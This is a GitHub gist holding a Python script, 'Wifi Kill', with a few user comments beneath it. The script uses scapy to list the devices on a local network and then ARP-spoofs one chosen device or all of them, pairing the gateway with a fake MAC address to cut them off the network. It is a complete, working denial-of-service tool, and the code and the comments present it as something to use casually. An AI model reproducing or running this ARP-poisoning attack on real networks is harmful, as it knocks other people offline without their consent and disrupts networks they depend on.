Skip to content

Instantly share code, notes, and snippets.

@tofuseng
Created December 18, 2015 07:56
Show Gist options
  • Save tofuseng/7b659cf16faa821bdd80 to your computer and use it in GitHub Desktop.
Save tofuseng/7b659cf16faa821bdd80 to your computer and use it in GitHub Desktop.
A python program to kick people off of wifi
#!/usr/bin/env python
###############################################################################
# Wifi Kill #
# Robert Glew #
# https://github.com/roglew/wifikill #
# This python script can be used to kick anyone or everyone off of your wifi #
# network. The script must be run as sudo in order to send the required #
# packets. Have fun. #
###############################################################################
import time
import os
from scapy.all import *
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def get_ip_macs(ips):
# Returns a list of tupples containing the (ip, mac address)
# of all of the computers on the network
answers, uans = arping(ips, verbose=0)
res = []
for answer in answers:
mac = answer[1].hwsrc
ip = answer[1].psrc
res.append((ip, mac))
return res
def poison(victim_ip, victim_mac, gateway_ip):
# Send the victim an ARP packet pairing the gateway ip with the wrong
# mac address
packet = ARP(op=2, psrc=gateway_ip, hwsrc='12:34:56:78:9A:BC', pdst=victim_ip, hwdst=victim_mac)
send(packet, verbose=0)
def restore(victim_ip, victim_mac, gateway_ip, gateway_mac):
# Send the victim an ARP packet pairing the gateway ip with the correct
# mac address
packet = ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=victim_ip, hwdst=victim_mac)
send(packet, verbose=0)
def get_lan_ip():
# A hacky method to get the current lan ip address. It requires internet
# access, but it works
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("google.com", 80))
ip = s.getsockname()
s.close()
return ip[0]
def printdiv():
print '--------------------'
# Check for root
if os.geteuid() != 0:
print "You need to run the script as a superuser"
exit()
# Search for stuff every time we refresh
refreshing = True
gateway_mac = '12:34:56:78:9A:BC' # A default (bad) gateway mac address
while refreshing:
# Use the current ip XXX.XXX.XXX.XXX and get a string in
# the form "XXX.XXX.XXX.*" and "XXX.XXX.XXX.1". Right now,
# the script assumes that the default gateway is "XXX.XXX.XXX.1"
myip = get_lan_ip()
ip_list = myip.split('.')
del ip_list[-1]
ip_list.append('*')
ip_range = '.'.join(ip_list)
del ip_list[-1]
ip_list.append('1')
gateway_ip = '.'.join(ip_list)
# Get a list of devices and print them to the screen
devices = get_ip_macs(ip_range)
printdiv()
print "Connected ips:"
i = 0
for device in devices:
print '%s)\t%s\t%s' % (i, device[0], device[1])
# See if we have the gateway MAC
if device[0] == gateway_ip:
gateway_mac = device[1]
i+=1
printdiv()
print 'Gateway ip: %s' % gateway_ip
if gateway_mac != '12:34:56:78:9A:BC':
print "Gateway mac: %s" % gateway_mac
else:
print 'Gateway not found. Script will be UNABLE TO RESTORE WIFI once shutdown is over'
printdiv()
# Get a choice and keep prompting until we get a valid letter or a number
# that is in range
print "Who do you want to boot?"
print "(r - Refresh, a - Kill all, q - quit)"
input_is_valid = False
killall = False
while not input_is_valid:
choice = raw_input(">")
if choice.isdigit():
# If we have a number, see if it's in the range of choices
if int(choice) < len(devices) and int(choice) >= 0:
refreshing = False
input_is_valid = True
elif choice is 'a':
# If we have an a, set the flag to kill everything
killall = True
input_is_valid = True
refreshing = False
elif choice is 'r':
# If we have an r, say we have a valid input but let everything
# refresh again
input_is_valid = True
elif choice is 'q':
# If we have a q, just quit. No cleanup required
exit()
if not input_is_valid:
print 'Please enter a valid choice'
# Once we have a valid choice, we decide what we're going to do with it
if choice.isdigit():
# If we have a number, loop the poison function until we get a
# keyboard inturrupt (ctl-c)
choice = int(choice)
victim = devices[choice]
print "Preventing %s from accessing the internet..." % victim[0]
try:
while True:
poison(victim[0], victim[1], gateway_ip)
except KeyboardInterrupt:
restore(victim[0], victim[1], gateway_ip, gateway_mac)
print '\nYou\'re welcome!'
elif killall:
# If we are going to kill everything, loop the poison function until we
# we get a keyboard inturrupt (ctl-c)
try:
while True:
for victim in devices:
poison(victim[0], victim[1], gateway_ip)
except KeyboardInterrupt:
for victim in devices:
restore(victim[0], victim[1], gateway_ip, gateway_mac)
print '\nYou\'re welcome!'
@tofuseng
Copy link
Author

Wifi Kill

A python program that uses scapy to kick people off of wifi. The script must be run as sudo. The script also requires that scapy be installed. To install it, do

sudo apt-get install python-scapy

The program lists the devices connected to the network then allows you to:

  • Prevent the desired ip from accessing the network
  • Prevent everyone from accessing the network

@dndwsa
Copy link

dndwsa commented Feb 12, 2018

it is saying that the apt part of the scapy code is wrong

@pedrozau
Copy link

Was usefull for me

@kit-solent
Copy link

will it work on windows?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment